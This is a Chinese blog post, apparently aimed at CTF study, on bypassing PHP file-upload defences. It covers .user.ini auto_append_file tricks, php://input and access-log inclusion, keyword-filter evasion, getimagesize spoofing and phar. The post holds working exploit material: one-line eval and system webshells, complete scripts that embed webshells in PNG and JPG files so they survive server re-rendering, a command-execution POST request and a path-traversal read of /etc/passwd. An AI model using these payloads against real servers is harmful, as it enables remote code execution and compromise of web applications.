php--高级文件绕过

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做技术交流与学习...

目录

1 .htaccess nginx.htaccess (配置文件)

搞事->

利用

例:

2 服务端内容检测

3 配合伪协议来绕过

4 配置日志包含绕过

5 上传html来xss 执行跨站脚本

6 getimagesize函数绕过

7 png二次渲染绕过

png_creater.php

8 jpg二次渲染绕过

9 phar文件上传绕过


1 .htaccess nginx.htaccess (配置文件)

 

这两个的配置文件优先级要大于php.ini  

     php.ini(最大的配置文件)    --上面两个会覆盖php.ini的配置.

     虚拟主机时代     一个物理服务器,里面可能存放几十上百个网站   每个网站,一个目录--->
     A 网站  需要这样的php.ini配置
     B 网站  却需要那样的php.ini配置
     C 网站  又需要另外的php.ini配置
     ---->
     总的php.ini不动,A B C, 3个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录
     自定义配置文件   .htaccess        nginx.htaccess
(类似于分封制,中央集权,---先给你地位权限,但是你每段时间后要向我负责.)

     在nginx 下,默认使用.user.ini(php.ini里,;代表默认的) 配置文件来进行php的配置.
      默认生效时间...

 

搞事->

找到突破点

利用

    ; php.ini Options  ;
    ; Name for user-defined php.ini (.htaccess) files. Default is ".user.ini"
    ;user_ini.filename = ".user.ini"
    ; To disable this feature set this option to empty value
    ;user_ini.filename =
    ; TTL for user-defined php.ini files (time-to-live) in seconds. Default is 300 seconds (5 minutes)
    ;user_ini.cache_ttl = 300
    (php.ini配置 -- 搜手册)

     创建 .user.ini ,写入:
     auto_append_file=123.txt
     ;成功包含123.txt

     使用:
     auto_append_file=123.txt  来让任意的php文件包含123.txt,执行里面的php代码

    

  ; Name for user-defined php.ini (.htaccess) files. Default is ".user.ini"
    ;user_ini.filename = ".user.ini"    !!!!!!!!!!!!!!!!!!!!

例:

上传php文件不行.

--上传.user.ini --包含了123.txt ,

--上传123.txt(里面有一句话木马) (php不行,上传配置文件(和.txt文件),.txt文件其包含了一个文件,文件解析)


2 服务端内容检测

 

不局限检测文件名,还会检测文件的后缀,文件的内容.

<?php system eval $_POST
二分法确定出被检测的关键字,使用替代语法绕过.

--发现大部分关键字都被检测,     ; GET POST php REQUEST ?>
用$_cookie可以     <?=eval($_COOKIE[1]);
# 添加cookie的键值:
1    eval(base64_decode(""))?>

3 配合伪协议来绕过

.user.ini:
auto_append_file=php://input

--直接上传配置文件(.user.ini),
上传包含文件(123.txt),-->内容非法.--php标记被检测了.(<?) 
script标签也解析不了php.

.user.ini:
auto_append_file=php://input
--抓包, 改POST发包,直接在最下面写php代码 ---> 发现成功执行php代码

4 配置日志包含绕过

上传 .user.ini: auto_append_file=/var/log/nginx/access.log

UA里干事.

5 上传html来xss 执行跨站脚本

执行js代码

6 getimagesize函数绕过

  getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传.

  XBM 格式图片
读取时读到:
  #define %s %d 这种形式,就认为时XBM图片的高或者宽.(伪装高和宽)		  content-type
         高宽  数字

.user.ini:
#define width 100;
#define height 100;
//--->定义,伪装成图片了
auto_append_file=123.txt
auto_append_file=/var/log/nginx/access.log

成功包含后,利用就行了.

 

7 png二次渲染绕过

正常做法:move_uploaded_file 方式移动我们上传的临时文件到上传目录去.
二次渲染做法:通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片, 里面的php代码就会被清洗掉.
所以,我们需要使用特殊的方式,来构造我们的图片.

--上传--访问png_creater.php-->生成2.png

--上传2.png,查看图片,--  ../../../../../../etc/passwd 转目录---抓包,改POST发包, url带system函数, 至下面执行命令ls

POST /xxx.xxx?image=xxx.png&0=system HTTP/1.1
.
.
.
1=ls /

png_creater.php

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

访问此脚本,成功写入----->

8 jpg二次渲染绕过

使用专用图来生成jpg木马,实现经过二次渲染后,我们的恶意代码,依然能够保留在图片中,通过文件包含,执行里面的php代码
--jpg专用二次渲染图,概率问题...
看脚本.

<?php
    $miniPayload = "<?php system('tac f*');?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
// 用法  php exp.php a.png

9 phar文件上传绕过

NSSCTF-Web题目21(文件上传-phar协议、RCE-空格绕过)_ctf 文件上传 phar-CSDN博客

 phar文件上传的骚姿势(绕过phar、HALT)phar绕过-CSDN博客

 

phar协议

Phar是PHP的归档格式,类似Java的JAR或是.NET的ZIP。Phar文件可以在不需要解压的情况下在PHP中运行。Phar文件可以用于分发PHP代码,就像你分发Python代码时使用的是.pyc或.whl文件。

Phar伪协议是PHP的一个特性,它允许直接从Phar归档中读取文件,而不需要将Phar文件解压。这样可以直接从Phar文件运行PHP脚本,而无需在服务器上物理地提取文件。
 

php.ini 配置文件里readonly改成Off,去掉;


...这里不做演示

 


  • 23
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金灰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值